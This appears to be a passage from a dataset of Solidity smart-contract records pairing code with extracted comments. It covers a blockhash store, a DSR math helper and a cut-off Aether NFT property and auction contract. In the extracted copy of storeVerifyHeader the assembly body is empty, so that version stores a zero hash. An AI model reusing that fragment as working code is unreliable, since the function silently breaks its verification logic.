32 bytes. rlpenc(PARENTHASH) is 0xa || PARENTHASH. // | | // | +--- 2 bytes containing the sum of the lengths of the encoded list items // | // +--- 0xf9 because we have a list and (sum of lengths of encoded list items) fits exactly into two bytes. // // As a consequence, the PARENTHASH is always at offset 4 of the rlp-encoded block header. bytes32 parentHash; assembly { parentHash := mload(add(header, 36)) // 36 = 32 byte offset for length prefix of ABI-encoded array // + 4 byte offset of PARENTHASH (see above) } s_blockhashes[n] = parentHash; } /** * @notice gets a blockhash from the store. If no hash is known, this function reverts. * @param n the number of the block whose blockhash should be returned */ function getBlockhash(uint256 n) external view returns (bytes32) { bytes32 h = s_blockhashes[n]; require(h != 0x0, "blockhash not found in store"); return h; } }
stores blockhash after verifying blockheader of child/subsequent block n the number of the block whose blockhash should be stored header the rlp-encoded blockheader of block n+1. We verify its correctness by checking that it hashes to a stored blockhash, and then extract parentHash to get the n-th blockhash./ At this point, we know that header is the correct blockheader for block n+1. The header is an rlp-encoded list. The head item of that list is the 32-byte blockhash of the parent block. Based on how rlp works, we know that blockheaders always have the following form: 0xf9____a0PARENTHASH... ^ ^ ^ | | | | | +--- PARENTHASH is 32 bytes. rlpenc(PARENTHASH) is 0xa || PARENTHASH. | | | +--- 2 bytes containing the sum of the lengths of the encoded list items | +--- 0xf9 because we have a list and (sum of lengths of encoded list items) fits exactly into two bytes. As a consequence, the PARENTHASH is always at offset 4 of the rlp-encoded block header. + 4 byte offset of PARENTHASH (see above)
function storeVerifyHeader(uint256 n, bytes memory header) public { require(keccak256(header) == s_blockhashes[n + 1], "header has unknown blockhash"); bytes32 parentHash; assembly { } s_blockhashes[n] = parentHash; }
42,580
./full_match/1/0x8b9e20D9970Af54fbaFe64049174e24d6DE0C412/sources/contracts/v2/strategies/DsrBaseStrategy.sol
Match DAI DSR's maths. See DsrManager: 0x373238337Bfe1146fb49989fc222523f83081dDb And Pot: 0x197E90f9FAD81970bA7976f33CbD77088E5D7cf7/ always rounds down
function _rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x * y / RAY; }
9,812,691
pragma solidity ^0.4.18; // File: contracts-origin/AetherAccessControl.sol /// @title A facet of AetherCore that manages special access privileges. /// @dev See the AetherCore contract documentation to understand how the various contract facets are arranged. contract AetherAccessControl { // This facet controls access control for Laputa. There are four roles managed here: // // - The CEO: The CEO can reassign other roles and change the addresses of our dependent smart // contracts. It is also the only role that can unpause the smart contract. It is initially // set to the address that created the smart contract in the AetherCore constructor. // // - The CFO: The CFO can withdraw funds from AetherCore and its auction contracts. // // - The COO: The COO can release properties to auction. // // It should be noted that these roles are distinct without overlap in their access abilities, the // abilities listed for each role above are exhaustive. In particular, while the CEO can assign any // address to any role, the CEO address itself doesn't have the ability to act in those roles. This // restriction is intentional so that we aren't tempted to use the CEO address frequently out of // convenience. The less we use an address, the less likely it is that we somehow compromise the // account. /// @dev Emited when contract is upgraded - See README.md for updgrade plan event ContractUpgrade(address newContract); // The addresses of the accounts (or contracts) that can execute actions within each roles. address public ceoAddress; address public cfoAddress; address public cooAddress; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for CFO-only functionality modifier onlyCFO() { require(msg.sender == cfoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } modifier onlyCLevel() { require( msg.sender == cooAddress || msg.sender == ceoAddress || msg.sender == cfoAddress ); _; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO. /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the CFO. Only available to the current CEO. /// @param _newCFO The address of the new CFO function setCFO(address _newCFO) public onlyCEO { require(_newCFO != address(0)); cfoAddress = _newCFO; } /// @dev Assigns a new address to act as the COO. Only available to the current CEO. /// @param _newCOO The address of the new COO function setCOO(address _newCOO) public onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } function withdrawBalance() external onlyCFO { cfoAddress.transfer(this.balance); } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Called by any "C-level" role to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() public onlyCLevel whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by the CEO, since /// one reason we may pause the contract is when CFO or COO accounts are /// compromised. function unpause() public onlyCEO whenPaused { // can't unpause if contract was upgraded paused = false; } } // File: contracts-origin/AetherBase.sol /// @title Base contract for Aether. Holds all common structs, events and base variables. /// @author Project Aether (https://www.aether.city) /// @dev See the PropertyCore contract documentation to understand how the various contract facets are arranged. contract AetherBase is AetherAccessControl { /*** EVENTS ***/ /// @dev The Construct event is fired whenever a property updates. event Construct ( address indexed owner, uint256 propertyId, PropertyClass class, uint8 x, uint8 y, uint8 z, uint8 dx, uint8 dz, string data ); /// @dev Transfer event as defined in current draft of ERC721. Emitted every /// time a property ownership is assigned. event Transfer( address indexed from, address indexed to, uint256 indexed tokenId ); /*** DATA ***/ enum PropertyClass { DISTRICT, BUILDING, UNIT } /// @dev The main Property struct. Every property in Aether is represented /// by a variant of this structure. struct Property { uint32 parent; PropertyClass class; uint8 x; uint8 y; uint8 z; uint8 dx; uint8 dz; } /*** STORAGE ***/ /// @dev Ensures that property occupies unique part of the universe. bool[100][100][100] public world; /// @dev An array containing the Property struct for all properties in existence. The ID /// of each property is actually an index into this array. Property[] properties; /// @dev An array containing the district addresses in existence. uint256[] districts; /// @dev A measure of world progression. uint256 public progress; /// @dev The fee associated with constructing a unit property. uint256 public unitCreationFee = 0.05 ether; /// @dev Keeps track whether updating data is paused. bool public updateEnabled = true; /// @dev A mapping from property IDs to the address that owns them. All properties have /// some valid owner address, even gen0 properties are created with a non-zero owner. mapping (uint256 => address) public propertyIndexToOwner; /// @dev A mapping from property IDs to the data that is stored on them. mapping (uint256 => string) public propertyIndexToData; /// @dev A mapping from owner address to count of tokens that address owns. /// Used internally inside balanceOf() to resolve ownership count. mapping (address => uint256) ownershipTokenCount; /// @dev Mappings between property nodes. mapping (uint256 => uint256) public districtToBuildingsCount; mapping (uint256 => uint256[]) public districtToBuildings; mapping (uint256 => uint256) public buildingToUnitCount; mapping (uint256 => uint256[]) public buildingToUnits; /// @dev A mapping from building propertyId to unit construction privacy. mapping (uint256 => bool) public buildingIsPublic; /// @dev A mapping from PropertyIDs to an address that has been approved to call /// transferFrom(). Each Property can only have one approved address for transfer /// at any time. A zero value means no approval is outstanding. mapping (uint256 => address) public propertyIndexToApproved; /// @dev Assigns ownership of a specific Property to an address. function _transfer(address _from, address _to, uint256 _tokenId) internal { // since the number of properties is capped to 2^32 // there is no way to overflow this ownershipTokenCount[_to]++; // transfer ownership propertyIndexToOwner[_tokenId] = _to; // When creating new properties _from is 0x0, but we can't account that address. if (_from != address(0)) { ownershipTokenCount[_from]--; // clear any previously approved ownership exchange delete propertyIndexToApproved[_tokenId]; } // Emit the transfer event. Transfer(_from, _to, _tokenId); } function _createUnit( uint256 _parent, uint256 _x, uint256 _y, uint256 _z, address _owner ) internal returns (uint) { require(_x == uint256(uint8(_x))); require(_y == uint256(uint8(_y))); require(_z == uint256(uint8(_z))); require(!world[_x][_y][_z]); world[_x][_y][_z] = true; return _createProperty( _parent, PropertyClass.UNIT, _x, _y, _z, 0, 0, _owner ); } function _createBuilding( uint256 _parent, uint256 _x, uint256 _y, uint256 _z, uint256 _dx, uint256 _dz, address _owner, bool _public ) internal returns (uint) { require(_x == uint256(uint8(_x))); require(_y == uint256(uint8(_y))); require(_z == uint256(uint8(_z))); require(_dx == uint256(uint8(_dx))); require(_dz == uint256(uint8(_dz))); // Looping over world space. for(uint256 i = 0; i < _dx; i++) { for(uint256 j = 0; j <_dz; j++) { if (world[_x + i][0][_z + j]) { revert(); } world[_x + i][0][_z + j] = true; } } uint propertyId = _createProperty( _parent, PropertyClass.BUILDING, _x, _y, _z, _dx, _dz, _owner ); districtToBuildingsCount[_parent]++; districtToBuildings[_parent].push(propertyId); buildingIsPublic[propertyId] = _public; return propertyId; } function _createDistrict( uint256 _x, uint256 _z, uint256 _dx, uint256 _dz ) internal returns (uint) { require(_x == uint256(uint8(_x))); require(_z == uint256(uint8(_z))); require(_dx == uint256(uint8(_dx))); require(_dz == uint256(uint8(_dz))); uint propertyId = _createProperty( districts.length, PropertyClass.DISTRICT, _x, 0, _z, _dx, _dz, cooAddress ); districts.push(propertyId); return propertyId; } /// @dev An internal method that creates a new property and stores it. This /// method doesn't do any checking and should only be called when the /// input data is known to be valid. Will generate both a Construct event /// and a Transfer event. function _createProperty( uint256 _parent, PropertyClass _class, uint256 _x, uint256 _y, uint256 _z, uint256 _dx, uint256 _dz, address _owner ) internal returns (uint) { require(_x == uint256(uint8(_x))); require(_y == uint256(uint8(_y))); require(_z == uint256(uint8(_z))); require(_dx == uint256(uint8(_dx))); require(_dz == uint256(uint8(_dz))); require(_parent == uint256(uint32(_parent))); require(uint256(_class) <= 3); Property memory _property = Property({ parent: uint32(_parent), class: _class, x: uint8(_x), y: uint8(_y), z: uint8(_z), dx: uint8(_dx), dz: uint8(_dz) }); uint256 _tokenId = properties.push(_property) - 1; // It's never going to happen, 4 billion properties is A LOT, but // let's just be 100% sure we never let this happen. require(_tokenId <= 4294967295); Construct( _owner, _tokenId, _property.class, _property.x, _property.y, _property.z, _property.dx, _property.dz, "" ); // This will assign ownership, and also emit the Transfer event as // per ERC721 draft _transfer(0, _owner, _tokenId); return _tokenId; } /// @dev Computing height of a building with respect to city progression. function _computeHeight( uint256 _x, uint256 _z, uint256 _height ) internal view returns (uint256) { uint256 x = _x < 50 ? 50 - _x : _x - 50; uint256 z = _z < 50 ? 50 - _z : _z - 50; uint256 distance = x > z ? x : z; if (distance > progress) { return 1; } uint256 scale = 100 - (distance * 100) / progress ; uint256 height = 2 * progress * _height * scale / 10000; return height > 0 ? height : 1; } /// @dev Convenience function to see if this building has room for a unit. function canCreateUnit(uint256 _buildingId) public view returns(bool) { Property storage _property = properties[_buildingId]; if (_property.class == PropertyClass.BUILDING && (buildingIsPublic[_buildingId] || propertyIndexToOwner[_buildingId] == msg.sender) ) { uint256 totalVolume = _property.dx * _property.dz * (_computeHeight(_property.x, _property.z, _property.y) - 1); uint256 totalUnits = buildingToUnitCount[_buildingId]; return totalUnits < totalVolume; } return false; } /// @dev This internal function skips all validation checks. Ensure that // canCreateUnit() is required before calling this method. function _createUnitHelper(uint256 _buildingId, address _owner) internal returns(uint256) { // Grab a reference to the property in storage. Property storage _property = properties[_buildingId]; uint256 totalArea = _property.dx * _property.dz; uint256 index = buildingToUnitCount[_buildingId]; // Calculate next location. uint256 y = index / totalArea + 1; uint256 intermediate = index % totalArea; uint256 z = intermediate / _property.dx; uint256 x = intermediate % _property.dx; uint256 unitId = _createUnit( _buildingId, x + _property.x, y, z + _property.z, _owner ); buildingToUnitCount[_buildingId]++; buildingToUnits[_buildingId].push(unitId); // Return the new unit's ID. return unitId; } /// @dev Update allows for setting a building privacy. function updateBuildingPrivacy(uint _tokenId, bool _public) public { require(propertyIndexToOwner[_tokenId] == msg.sender); buildingIsPublic[_tokenId] = _public; } /// @dev Update allows for setting the data associated to a property. function updatePropertyData(uint _tokenId, string _data) public { require(updateEnabled); address _owner = propertyIndexToOwner[_tokenId]; require(msg.sender == _owner); propertyIndexToData[_tokenId] = _data; Property memory _property = properties[_tokenId]; Construct( _owner, _tokenId, _property.class, _property.x, _property.y, _property.z, _property.dx, _property.dz, _data ); } } // File: contracts-origin/ERC721Draft.sol /// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens /// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete) contract ERC721 { function implementsERC721() public pure returns (bool); function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) public view returns (address owner); function approve(address _to, uint256 _tokenId) public; function transferFrom(address _from, address _to, uint256 _tokenId) public; function transfer(address _to, uint256 _tokenId) public; event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds); // function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl); } // File: contracts-origin/AetherOwnership.sol /// @title The facet of the Aether core contract that manages ownership, ERC-721 (draft) compliant. /// @dev Ref: https://github.com/ethereum/EIPs/issues/721 /// See the PropertyCore contract documentation to understand how the various contract facets are arranged. contract AetherOwnership is AetherBase, ERC721 { /// @notice Name and symbol of the non fungible token, as defined in ERC721. string public name = "Aether"; string public symbol = "AETH"; function implementsERC721() public pure returns (bool) { return true; } // Internal utility functions: These functions all assume that their input arguments // are valid. We leave it to public methods to sanitize their inputs and follow // the required logic. /// @dev Checks if a given address is the current owner of a particular Property. /// @param _claimant the address we are validating against. /// @param _tokenId property id, only valid when > 0 function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return propertyIndexToOwner[_tokenId] == _claimant; } /// @dev Checks if a given address currently has transferApproval for a particular Property. /// @param _claimant the address we are confirming property is approved for. /// @param _tokenId property id, only valid when > 0 function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) { return propertyIndexToApproved[_tokenId] == _claimant; } /// @dev Marks an address as being approved for transferFrom(), overwriting any previous /// approval. Setting _approved to address(0) clears all transfer approval. /// NOTE: _approve() does NOT send the Approval event. This is intentional because /// _approve() and transferFrom() are used together for putting Properties on auction, and /// there is no value in spamming the log with Approval events in that case. function _approve(uint256 _tokenId, address _approved) internal { propertyIndexToApproved[_tokenId] = _approved; } /// @dev Transfers a property owned by this contract to the specified address. /// Used to rescue lost properties. (There is no "proper" flow where this contract /// should be the owner of any Property. This function exists for us to reassign /// the ownership of Properties that users may have accidentally sent to our address.) /// @param _propertyId - ID of property /// @param _recipient - Address to send the property to function rescueLostProperty(uint256 _propertyId, address _recipient) public onlyCOO whenNotPaused { require(_owns(this, _propertyId)); _transfer(this, _recipient, _propertyId); } /// @notice Returns the number of Properties owned by a specific address. /// @param _owner The owner address to check. /// @dev Required for ERC-721 compliance function balanceOf(address _owner) public view returns (uint256 count) { return ownershipTokenCount[_owner]; } /// @notice Transfers a Property to another address. If transferring to a smart /// contract be VERY CAREFUL to ensure that it is aware of ERC-721 (or /// Laputa specifically) or your Property may be lost forever. Seriously. /// @param _to The address of the recipient, can be a user or contract. /// @param _tokenId The ID of the Property to transfer. /// @dev Required for ERC-721 compliance. function transfer( address _to, uint256 _tokenId ) public whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // You can only send your own property. require(_owns(msg.sender, _tokenId)); // Reassign ownership, clear pending approvals, emit Transfer event. _transfer(msg.sender, _to, _tokenId); } /// @notice Grant another address the right to transfer a specific Property via /// transferFrom(). This is the preferred flow for transfering NFTs to contracts. /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the Property that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function approve( address _to, uint256 _tokenId ) public whenNotPaused { // Only an owner can grant transfer approval. require(_owns(msg.sender, _tokenId)); // Register the approval (replacing any previous approval). _approve(_tokenId, _to); // Emit approval event. Approval(msg.sender, _to, _tokenId); } /// @notice Transfer a Property owned by another address, for which the calling address /// has previously been granted transfer approval by the owner. /// @param _from The address that owns the Property to be transfered. /// @param _to The address that should take ownership of the Property. Can be any address, /// including the caller. /// @param _tokenId The ID of the Property to be transferred. /// @dev Required for ERC-721 compliance. function transferFrom( address _from, address _to, uint256 _tokenId ) public whenNotPaused { // Check for approval and valid ownership require(_approvedFor(msg.sender, _tokenId)); require(_owns(_from, _tokenId)); // Reassign ownership (also clears pending approvals and emits Transfer event). _transfer(_from, _to, _tokenId); } /// @notice Returns the total number of Properties currently in existence. /// @dev Required for ERC-721 compliance. function totalSupply() public view returns (uint) { return properties.length; } function totalDistrictSupply() public view returns(uint count) { return districts.length; } /// @notice Returns the address currently assigned ownership of a given Property. /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _tokenId) public view returns (address owner) { owner = propertyIndexToOwner[_tokenId]; require(owner != address(0)); } /// @notice Returns a list of all Property IDs assigned to an address. /// @param _owner The owner whose Properties we are interested in. /// @dev This method MUST NEVER be called by smart contract code. First, it's fairly /// expensive (it walks the entire Kitty array looking for cats belonging to owner), /// but it also returns a dynamic array, which is only supported for web3 calls, and /// not contract-to-contract calls. function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalProperties = totalSupply(); uint256 resultIndex = 0; // We count on the fact that all properties have IDs starting at 1 and increasing // sequentially up to the totalProperties count. uint256 tokenId; for (tokenId = 1; tokenId <= totalProperties; tokenId++) { if (propertyIndexToOwner[tokenId] == _owner) { result[resultIndex] = tokenId; resultIndex++; } } return result; } } } // File: contracts-origin/Auction/ClockAuctionBase.sol /// @title Auction Core /// @dev Contains models, variables, and internal methods for the auction. contract ClockAuctionBase { // Represents an auction on an NFT struct Auction { // Current owner of NFT address seller; // Price (in wei) at beginning of auction uint128 startingPrice; // Price (in wei) at end of auction uint128 endingPrice; // Duration (in seconds) of auction uint64 duration; // Time when auction started // NOTE: 0 if this auction has been concluded uint64 startedAt; } // Reference to contract tracking NFT ownership ERC721 public nonFungibleContract; // Cut owner takes on each auction, measured in basis points (1/100 of a percent). // Values 0-10,000 map to 0%-100% uint256 public ownerCut; // Map from token ID to their corresponding auction. mapping (uint256 => Auction) tokenIdToAuction; event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration); event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner); event AuctionCancelled(uint256 tokenId); /// @dev DON'T give me your money. function() external {} // Modifiers to check that inputs can be safely stored with a certain // number of bits. We use constants and multiple modifiers to save gas. modifier canBeStoredWith64Bits(uint256 _value) { require(_value <= 18446744073709551615); _; } modifier canBeStoredWith128Bits(uint256 _value) { require(_value < 340282366920938463463374607431768211455); _; } /// @dev Returns true if the claimant owns the token. /// @param _claimant - Address claiming to own the token. /// @param _tokenId - ID of token whose ownership to verify. function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return (nonFungibleContract.ownerOf(_tokenId) == _claimant); } /// @dev Escrows the NFT, assigning ownership to this contract. /// Throws if the escrow fails. /// @param _owner - Current owner address of token to escrow. /// @param _tokenId - ID of token whose approval to verify. function _escrow(address _owner, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transferFrom(_owner, this, _tokenId); } /// @dev Transfers an NFT owned by this contract to another address. /// Returns true if the transfer succeeds. /// @param _receiver - Address to transfer NFT to. /// @param _tokenId - ID of token to transfer. function _transfer(address _receiver, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transfer(_receiver, _tokenId); } /// @dev Adds an auction to the list of open auctions. Also fires the /// AuctionCreated event. /// @param _tokenId The ID of the token to be put on auction. /// @param _auction Auction to add. function _addAuction(uint256 _tokenId, Auction _auction) internal { // Require that all auctions have a duration of // at least one minute. (Keeps our math from getting hairy!) require(_auction.duration >= 1 minutes); tokenIdToAuction[_tokenId] = _auction; AuctionCreated( uint256(_tokenId), uint256(_auction.startingPrice), uint256(_auction.endingPrice), uint256(_auction.duration) ); } /// @dev Cancels an auction unconditionally. function _cancelAuction(uint256 _tokenId, address _seller) internal { _removeAuction(_tokenId); _transfer(_seller, _tokenId); AuctionCancelled(_tokenId); } /// @dev Computes the price and transfers winnings. /// Does NOT transfer ownership of token. function _bid(uint256 _tokenId, uint256 _bidAmount) internal returns (uint256) { // Get a reference to the auction struct Auction storage auction = tokenIdToAuction[_tokenId]; // Explicitly check that this auction is currently live. // (Because of how Ethereum mappings work, we can't just count // on the lookup above failing. An invalid _tokenId will just // return an auction object that is all zeros.) require(_isOnAuction(auction)); // Check that the incoming bid is higher than the current // price uint256 price = _currentPrice(auction); require(_bidAmount >= price); // Grab a reference to the seller before the auction struct // gets deleted. address seller = auction.seller; // The bid is good! Remove the auction before sending the fees // to the sender so we can't have a reentrancy attack. _removeAuction(_tokenId); // Transfer proceeds to seller (if there are any!) if (price > 0) { // Calculate the auctioneer's cut. // (NOTE: _computeCut() is guaranteed to return a // value <= price, so this subtraction can't go negative.) uint256 auctioneerCut = _computeCut(price); uint256 sellerProceeds = price - auctioneerCut; // NOTE: Doing a transfer() in the middle of a complex // method like this is generally discouraged because of // reentrancy attacks and DoS attacks if the seller is // a contract with an invalid fallback function. We explicitly // guard against reentrancy attacks by removing the auction // before calling transfer(), and the only thing the seller // can DoS is the sale of their own asset! (And if it's an // accident, they can call cancelAuction(). ) seller.transfer(sellerProceeds); } // Tell the world! AuctionSuccessful(_tokenId, price, msg.sender); return price; } /// @dev Removes an auction from the list of open auctions. /// @param _tokenId - ID of NFT on auction. function _removeAuction(uint256 _tokenId) internal { delete tokenIdToAuction[_tokenId]; } /// @dev Returns true if the NFT is on auction. /// @param _auction - Auction to check. function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } /// @dev Returns current price of an NFT on auction. Broken into two /// functions (this one, that computes the duration from the auction /// structure, and the other that does the price computation) so we /// can easily test that the price computation works correctly. function _currentPrice(Auction storage _auction) internal view returns (uint256) { uint256 secondsPassed = 0; // A bit of insurance against negative values (or wraparound). // Probably not necessary (since Ethereum guarnatees that the // now variable doesn't ever go backwards). if (now > _auction.startedAt) { secondsPassed = now - _auction.startedAt; } return _computeCurrentPrice( _auction.startingPrice, _auction.endingPrice, _auction.duration, secondsPassed ); } /// @dev Computes the current price of an auction. Factored out /// from _currentPrice so we can run extensive unit tests. /// When testing, make this function public and turn on /// `Current price computation` test suite. function _computeCurrentPrice( uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, uint256 _secondsPassed ) internal pure returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our public functions carefully cap the maximum values for // time (at 64-bits) and currency (at 128-bits). _duration is // also known to be non-zero (see the require() statement in // _addAuction()) if (_secondsPassed >= _duration) { // We've reached the end of the dynamic pricing portion // of the auction, just return the end price. return _endingPrice; } else { // Starting price can be higher than ending price (and often is!), so // this delta can be negative. int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice); // This multiplication can't overflow, _secondsPassed will easily fit within // 64-bits, and totalPriceChange will easily fit within 128-bits, their product // will always fit within 256-bits. int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); // currentPriceChange can be negative, but if so, will have a magnitude // less that _startingPrice. Thus, this result will always end up positive. int256 currentPrice = int256(_startingPrice) + currentPriceChange; return uint256(currentPrice); } } /// @dev Computes owner's cut of a sale. /// @param _price - Sale price of NFT. function _computeCut(uint256 _price) internal view returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our entry functions carefully cap the maximum values for // currency (at 128-bits), and ownerCut <= 10000 (see the require() // statement in the ClockAuction constructor). The result of this // function is always guaranteed to be <= _price. return _price * ownerCut / 10000; } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } // File: zeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } // File: contracts-origin/Auction/ClockAuction.sol /// @title Clock auction for non-fungible tokens. contract ClockAuction is Pausable, ClockAuctionBase { /// @dev Constructor creates a reference to the NFT ownership contract /// and verifies the owner cut is in the valid range. /// @param _nftAddress - address of a deployed contract implementing /// the Nonfungible Interface. /// @param _cut - percent cut the owner takes on each auction, must be /// between 0-10,000. function ClockAuction(address _nftAddress, uint256 _cut) public { require(_cut <= 10000); ownerCut = _cut; ERC721 candidateContract = ERC721(_nftAddress); require(candidateContract.implementsERC721()); nonFungibleContract = candidateContract; } /// @dev Remove all Ether from the contract, which is the owner's cuts /// as well as any Ether sent directly to the contract address. /// Always transfers to the NFT contract, but can be called either by /// the owner or the NFT contract. function withdrawBalance() external { address nftAddress = address(nonFungibleContract); require( msg.sender == owner || msg.sender == nftAddress ); nftAddress.transfer(this.balance); } /// @dev Creates and begins a new auction. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _startingPrice - Price of item (in wei) at beginning of auction. /// @param _endingPrice - Price of item (in wei) at end of auction. /// @param _duration - Length of time to move between starting /// price and ending price (in seconds). /// @param _seller - Seller, if not the message sender function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) public whenNotPaused canBeStoredWith128Bits(_startingPrice) canBeStoredWith128Bits(_endingPrice) canBeStoredWith64Bits(_duration) { require(_owns(msg.sender, _tokenId)); _escrow(msg.sender, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } /// @dev Bids on an open auction, completing the auction and transferring /// ownership of the NFT if enough Ether is supplied. /// @param _tokenId - ID of token to bid on. function bid(uint256 _tokenId) public payable whenNotPaused { // _bid will throw if the bid or funds transfer fails _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); } /// @dev Cancels an auction that hasn't been won yet. /// Returns the NFT to original owner. /// @notice This is a state-modifying function that can /// be called while the contract is paused. /// @param _tokenId - ID of token on auction function cancelAuction(uint256 _tokenId) public { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); address seller = auction.seller; require(msg.sender == seller); _cancelAuction(_tokenId, seller); } /// @dev Cancels an auction when the contract is paused. /// Only the owner may do this, and NFTs are returned to /// the seller. This should only be used in emergencies. /// @param _tokenId - ID of the NFT on auction to cancel. function cancelAuctionWhenPaused(uint256 _tokenId) whenPaused onlyOwner public { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); _cancelAuction(_tokenId, auction.seller); } /// @dev Returns auction info for an NFT on auction. /// @param _tokenId - ID of NFT on auction. function getAuction(uint256 _tokenId) public view returns ( address seller, uint256 startingPrice, uint256 endingPrice, uint256 duration, uint256 startedAt ) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return ( auction.seller, auction.startingPrice, auction.endingPrice, auction.duration, auction.startedAt ); } /// @dev Returns the current price of an auction. /// @param _tokenId - ID of the token price we are checking. function getCurrentPrice(uint256 _tokenId) public view returns (uint256) { Auction storage auction = tokenIdToAuction[_tokenId]; require(_isOnAuction(auction)); return _currentPrice(auction); } } // File: contracts-origin/Auction/AetherClockAuction.sol /// @title Clock auction modified for sale of property contract AetherClockAuction is ClockAuction { // @dev Sanity check that allows us to ensure that we are pointing to the // right auction in our setSaleAuctionAddress() call. bool public isAetherClockAuction = true; // Tracks last 5 sale price of gen0 property sales uint256 public saleCount; uint256[5] public lastSalePrices; // Delegate constructor function AetherClockAuction(address _nftAddr, uint256 _cut) public ClockAuction(_nftAddr, _cut) {} /// @dev Creates and begins a new auction. /// @param _tokenId - ID of token to auction, sender must be owner. /// @param _startingPrice - Price of item (in wei) at beginning of auction. /// @param _endingPrice - Price of item (in wei) at end of auction. /// @param _duration - Length of auction (in seconds). /// @param _seller - Seller, if not the message sender function createAuction( uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration, address _seller ) public canBeStoredWith128Bits(_startingPrice) canBeStoredWith128Bits(_endingPrice) canBeStoredWith64Bits(_duration) { require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); Auction memory auction = Auction( _seller, uint128(_startingPrice), uint128(_endingPrice), uint64(_duration), uint64(now) ); _addAuction(_tokenId, auction); } /// @dev Updates lastSalePrice if seller is the nft contract /// Otherwise, works the same as default bid method. function bid(uint256 _tokenId) public payable { // _bid verifies token ID size address seller = tokenIdToAuction[_tokenId].seller; uint256 price = _bid(_tokenId, msg.value); _transfer(msg.sender, _tokenId); // If not a gen0 auction, exit if (seller == address(nonFungibleContract)) { // Track gen0 sale prices lastSalePrices[saleCount % 5] = price; saleCount++; } } function averageSalePrice() public view returns (uint256) { uint256 sum = 0; for (uint256 i = 0; i < 5; i++) { sum += lastSalePrices[i]; } return sum / 5; } } // File: contracts-origin/AetherAuction.sol /// @title Handles creating auctions for sale and siring of properties. /// This wrapper of ReverseAuction exists only so that users can create /// auctions with only one transaction. contract AetherAuction is AetherOwnership{ /// @dev The address of the ClockAuction contract that handles sales of Aether. This /// same contract handles both peer-to-peer sales as well as the gen0 sales which 